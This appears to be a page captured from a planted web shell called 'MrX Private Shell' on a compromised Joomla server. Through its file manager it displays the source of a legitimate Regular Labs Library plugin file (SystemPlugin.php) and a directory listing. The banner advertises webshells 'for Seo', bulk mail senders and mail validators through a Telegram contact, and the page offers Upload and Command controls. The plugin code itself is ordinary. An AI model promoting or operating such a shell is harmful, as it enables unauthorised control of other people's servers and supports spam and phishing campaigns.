__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Regular Labs Library
 * @version         23.12.10783
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Library;

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication as JCMSApplication;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\CMSPlugin as JCMSPlugin;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
use Joomla\Component\Finder\Administrator\Indexer\Result as JIndexerResult;
use Joomla\Database\DatabaseDriver as JDatabaseDriver;
use Joomla\Event\DispatcherInterface as JDispatcherInterface;
use Joomla\Registry\Registry as JRegistry;

class SystemPlugin extends JCMSPlugin
{
    public    $_alias              = '';
    public    $_lang_prefix        = '';
    public    $_title              = '';
    protected $_can_disable_by_url = true;
    protected $_doc_ready          = false;
    protected $_enable_in_admin    = false;
    protected $_enable_in_indexer  = true;
    protected $_enable_in_frontend = true;
    protected $_id                 = 0;
    protected $_jversion           = 4;
    protected $_page_types         = ['html', 'feed', 'pdf', 'xml', 'ajax', 'json', 'raw'];
    protected $_pass;
    /**
     * @var    JCMSApplication
     */
    protected $app;
    protected $autoloadLanguage = true;
    /**
     * @var    JDatabaseDriver
     */
    protected $db;

    public function __construct(JDispatcherInterface &$subject, array $config = [])
    {
        if (isset($config['id']))
        {
            $this->_id = $config['id'];
        }

        parent::__construct($subject, $config);

        $this->app = JFactory::getApplication();
        $this->db  = JFactory::getDbo();

        if (empty($this->_alias))
        {
            $this->_alias = $this->_name;
        }

        if (empty($this->_title))
        {
            $this->_title = strtoupper($this->_alias);
        }
    }

    /**
     * @param JIndexerResult $item  The search result
     * @param array          $query The search query of this result
     *
     * @return  void
     */
    public function handleOnFinderResult(JIndexerResult $item, $query)
    {
    }

    /**
     * @param string $extension The extension for which a language file should be loaded
     * @param string $basePath  The basepath to use
     *
     * @return  bool  True, if the file has successfully loaded.
     */
    public function loadLanguage($extension = '', $basePath = JPATH_ADMINISTRATOR)
    {
        parent::loadLanguage('plg_system_regularlabs', JPATH_LIBRARIES . '/regularlabs');

        return parent::loadLanguage();
    }

    /**
     * @return  void
     */
    public function onAfterDispatch(): void
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnAfterDispatch();

        $buffer = Document::getComponentBuffer();

        $this->loadStylesAndScripts($buffer);

        if ( ! $buffer)
        {
            return;
        }

        $this->changeDocumentBuffer($buffer);

        Document::setComponentBuffer($buffer);
    }

    /**
     * @return  void
     */
    public function onAfterInitialise(): void
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnAfterInitialise();
    }

    /**
     * @return  void
     */
    public function onAfterRender(): void
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnAfterRender();

        $html = $this->app->getBody();

        if ($html == '')
        {
            return;
        }

        if ( ! $this->changeFinalHtmlOutput($html))
        {
            return;
        }

        $this->cleanFinalHtmlOutput($html);

        $this->app->setBody($html);
    }

    /**
     * @param object $module
     * @param array  $params
     *
     * @return  void
     */
    public function onAfterRenderModule(&$module, &$params): void
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnAfterRenderModule($module, $params);
    }

    /**
     * @param string $buffer
     * @param array  $params
     *
     * @return  void
     */
    public function onAfterRenderModules(&$buffer, &$params): void
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnAfterRenderModules($buffer, $params);

        if (empty($buffer))
        {
            return;
        }

        $this->changeModulePositionOutput($buffer, $params);
    }

    /**
     * @return  void
     */
    public function onAfterRoute(): void
    {
        $this->_doc_ready = true;

        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnAfterRoute();
    }

    /**
     * @return  void
     */
    public function onBeforeCompileHead(): void
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnBeforeCompileHead();
    }

    /**
     * @param string    $context The context of the content being passed to the plugin.
     * @param mixed    &$row     An object with a "text" property
     * @param mixed    &$params  Additional parameters. See {@see PlgContentContent()}.
     * @param integer   $page    Optional page number. Unused. Defaults to zero.
     *
     * @return  void
     */
    public function onContentPrepare($context, &$article, &$params, $page = 0): void
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $area    = isset($article->created_by) ? 'article' : 'other';
        $context = (($params instanceof JRegistry) && $params->get('rl_search')) ? 'com_search.' . $params->get('readmore_limit') : $context;

        if ( ! $this->handleOnContentPrepare($area, $context, $article, $params, $page))
        {
            return;
        }

        Article::process($article, $context, $this, 'processArticle', [$area, $context, $article, $page]);
    }

    /**
     * @param JForm    $form The form
     * @param stdClass $data The data
     *
     * @return  bool
     */
    public function onContentPrepareForm(JForm $form, $data): bool
    {
        if ( ! $this->passChecks())
        {
            return true;
        }

        return $this->handleOnContentPrepareForm($form, $data);
    }

    /**
     * @param JIndexerResult $item  The search result
     * @param array          $query The search query of this result
     *
     * @return  void
     */
    public function onFinderResult(JIndexerResult $item, $query)
    {
        if ( ! $this->passChecks())
        {
            return;
        }

        $this->handleOnFinderResult($item, $query);
    }

    /**
     * @param string &$string
     * @param string  $area
     * @param string  $context The context of the content being passed to the plugin.
     * @param mixed   $article An object with a "text" property
     * @param int     $page    Optional page number. Unused. Defaults to zero.
     *
     * @return  void
     */
    public function processArticle(
        &$string,
        $area = 'article',
        $context = '',
        $article = null,
        $page = 0
    )
    {
    }

    /**
     * @param string $buffer
     *
     * @return  bool
     */
    protected function changeDocumentBuffer(&$buffer)
    {
        return false;
    }

    /**
     * @param string $html
     *
     * @return  bool
     */
    protected function changeFinalHtmlOutput(&$html)
    {
        return false;
    }

    /**
     * @param string $buffer
     * @param string $params
     *
     * @return  void
     */
    protected function changeModulePositionOutput(&$buffer, &$params)
    {
    }

    /**
     * @param string $html
     *
     * @return  void
     */
    protected function cleanFinalHtmlOutput(&$html)
    {
    }

    protected function extraChecks()
    {
        return true;
    }

    /**
     * @return  void
     */
    protected function handleFeedArticles()
    {
        if ( ! empty($this->_page_types)
            && ! in_array('feed', $this->_page_types, true)
        )
        {
            return;
        }

        if ( ! Document::isFeed()
            && Input::get('option', '') != 'com_acymailing'
        )
        {
            return;
        }

        if ( ! isset(Document::get()->items))
        {
            return;
        }

        $context = 'feed';
        $items   = Document::get()->items;
        $params  = null;

        foreach ($items as $item)
        {
            $this->handleOnContentPrepare('article', $context, $item, $params);
        }
    }

    /**
     * @return  void
     */
    protected function handleOnAfterDispatch()
    {
        $this->handleFeedArticles();
    }

    /**
     * @return  void
     */
    protected function handleOnAfterInitialise()
    {
    }

    /**
     * @return  void
     *
     * Consider using changeFinalHtmlOutput instead
     */
    protected function handleOnAfterRender()
    {
    }

    /**
     * @param object $module
     * @param array  $params
     *
     * @return  void
     */
    protected function handleOnAfterRenderModule(&$module, &$params)
    {
    }

    /**
     * @param string $buffer
     * @param array  $params
     *
     * @return  void
     */
    protected function handleOnAfterRenderModules(&$buffer, &$params)
    {
    }

    /**
     * @return  void
     */
    protected function handleOnAfterRoute()
    {
    }

    /**
     * @return  void
     */
    protected function handleOnBeforeCompileHead()
    {
    }

    /**
     * @param string    $area
     * @param string    $context The context of the content being passed to the plugin.
     * @param mixed     $article An object with a "text" property
     * @param mixed    &$params  Additional parameters. See {@see PlgContentContent()}.
     * @param int       $page    Optional page number. Unused. Defaults to zero.
     *
     * @return  bool
     */
    protected function handleOnContentPrepare($area, $context, &$article, &$params, $page = 0)
    {
        return true;
    }

    /**
     * @param JForm    $form The form
     * @param stdClass $data The data
     *
     * @return  bool
     */
    protected function handleOnContentPrepareForm(JForm $form, $data)
    {
        return true;
    }

    /**
     * @return  bool
     */
    protected function is3rdPartyEditPage()
    {
        //        // Disable on Gridbox edit form: option=com_gridbox&view=gridbox
        //        if (Input::get('option', '') == 'com_gridbox' && Input::get('view', '') == 'gridbox')
        //        {
        //            return false;
        //        }

        // Disable on SP PageBuilder edit form: option=com_sppagebuilder&view=form
        if (Input::get('option', '') == 'com_sppagebuilder' && Input::get('view', '') == 'form')
        {
            return true;
        }

        return false;
    }

    /**
     * @param string $buffer
     *
     * @return  void
     */
    protected function loadStylesAndScripts(&$buffer)
    {
    }

    /**
     * @return  bool
     */
    protected function passChecks()
    {
        if ( ! is_null($this->_pass))
        {
            return $this->_pass;
        }

        $this->setPass(false);

        if ( ! $this->isFrameworkEnabled())
        {
            return false;
        }

        if ($this->is3rdPartyEditPage())
        {
            return false;
        }

        if ($this->_doc_ready && ! $this->passPageTypes())
        {
            return false;
        }

        if ( ! $this->_enable_in_frontend && $this->app->isClient('site'))
        {
            return false;
        }

        $is_indexer = $this->app->input->get('option') == 'com_finder'
            && $this->app->input->get('task') == 'batch';

        if ($this->app->input->get('option'))
        {
            $this->resetPass();
        }

        if ( ! $this->_enable_in_indexer && $is_indexer)
        {
            return false;
        }

        $is_admin = ! $this->app->isClient('site') && ! $is_indexer;

        if ( ! $this->_enable_in_admin && $is_admin)
        {
            return false;
        }

        // disabled by url?
        if (
            $this->_can_disable_by_url
            && Protect::isDisabledByUrl($this->_alias)
        )
        {
            return false;
        }

        if ( ! $this->extraChecks())
        {
            return false;
        }

        $this->setPass(true);

        return true;
    }

    protected function passPageTypes()
    {
        if (empty($this->_page_types))
        {
            return true;
        }

        if (in_array('*', $this->_page_types, true))
        {
            return true;
        }

        if (Document::isFeed())
        {
            return in_array('feed', $this->_page_types, true);
        }

        if (Document::isPDF())
        {
            return in_array('pdf', $this->_page_types, true);
        }

        $page_type = Document::get()->getType();

        return in_array($page_type, $this->_page_types, true);
    }

    /**
     * Place an error in the message queue
     */
    protected function throwError($error)
    {
        $user = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();

        // Return if page is not an admin page or the admin login page
        if ( ! JFactory::getApplication()->isClient('administrator')
            || $user->get('guest')
        )
        {
            return;
        }

        // load the admin language file
        JFactory::getLanguage()->load('plg_' . $this->_type . '_' . $this->_name, JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name);

        $text = JText::sprintf($this->_lang_prefix . '_' . $error, JText::_($this->_title));
        $text = JText::_($text) . ' ' . JText::sprintf($this->_lang_prefix . '_EXTENSION_CAN_NOT_FUNCTION', JText::_($this->_title));

        // Check if message is not already in queue
        $messagequeue = JFactory::getApplication()->getMessageQueue();

        foreach ($messagequeue as $message)
        {
            if ($message['message'] == $text)
            {
                return;
            }
        }

        JFactory::getApplication()->enqueueMessage($text, 'error');
    }

    /**
     * Check if the Regular Labs Library is enabled
     *
     * @return bool
     */
    private function isFrameworkEnabled(): bool
    {
        if ( ! defined('REGULAR_LABS_LIBRARY_ENABLED'))
        {
            $this->setIsFrameworkEnabled();
        }

        if ( ! REGULAR_LABS_LIBRARY_ENABLED)
        {
            $this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');
        }

        return REGULAR_LABS_LIBRARY_ENABLED;
    }

    /**
     * @return  void
     */
    private function resetPass(): void
    {
        $this->_pass = null;
    }

    /**
     * Set the define with whether the Regular Labs Library is enabled
     */
    private function setIsFrameworkEnabled(): void
    {
        if ( ! JPluginHelper::isEnabled('system', 'regularlabs'))
        {
            $this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');

            define('REGULAR_LABS_LIBRARY_ENABLED', false);

            return;
        }

        define('REGULAR_LABS_LIBRARY_ENABLED', true);
    }

    private function setPass(bool $pass): void
    {
        if ( ! $this->_doc_ready)
        {
            return;
        }

        $this->_pass = (bool) $pass;
    }
}

Filemanager

Name Type Size Permission Actions
Form Folder 0775
ActionLogPlugin.php File 8.29 KB 0664
Alias.php File 3.22 KB 0664
ArrayHelper.php File 14.13 KB 0664
Article.php File 10.14 KB 0664
Cache.php File 4.69 KB 0664
Color.php File 1.85 KB 0664
DB.php File 15.25 KB 0664
Date.php File 5.25 KB 0664
Document.php File 13.21 KB 0664
DownloadKey.php File 3.92 KB 0664
EditorButtonPlugin.php File 5.9 KB 0664
EditorButtonPopup.php File 5.53 KB 0664
Extension.php File 14.81 KB 0664
FieldsPlugin.php File 1001 B 0664
File.php File 14.92 KB 0664
Html.php File 22.41 KB 0664
HtmlTag.php File 4.84 KB 0664
Http.php File 4.54 KB 0664
Image.php File 29.04 KB 0664
Input.php File 4.64 KB 0664
Language.php File 985 B 0664
License.php File 1.78 KB 0664
MobileDetect.php File 748 B 0664
ObjectHelper.php File 2.92 KB 0664
Parameters.php File 7.27 KB 0664
Php.php File 6.81 KB 0664
PluginTag.php File 16.31 KB 0664
Protect.php File 27.82 KB 0664
RegEx.php File 8.02 KB 0664
ShowOn.php File 1.44 KB 0664
SimpleCategory.php File 1.7 KB 0664
StringHelper.php File 22.9 KB 0664
StringReplacer.php File 13.66 KB 0664
SystemPlugin.php File 15.4 KB 0664
Title.php File 2.8 KB 0664
Uri.php File 6.06 KB 0664
Variables.php File 11.55 KB 0664
Version.php File 8.32 KB 0664
Xml.php File 1.53 KB 0664
Filemanager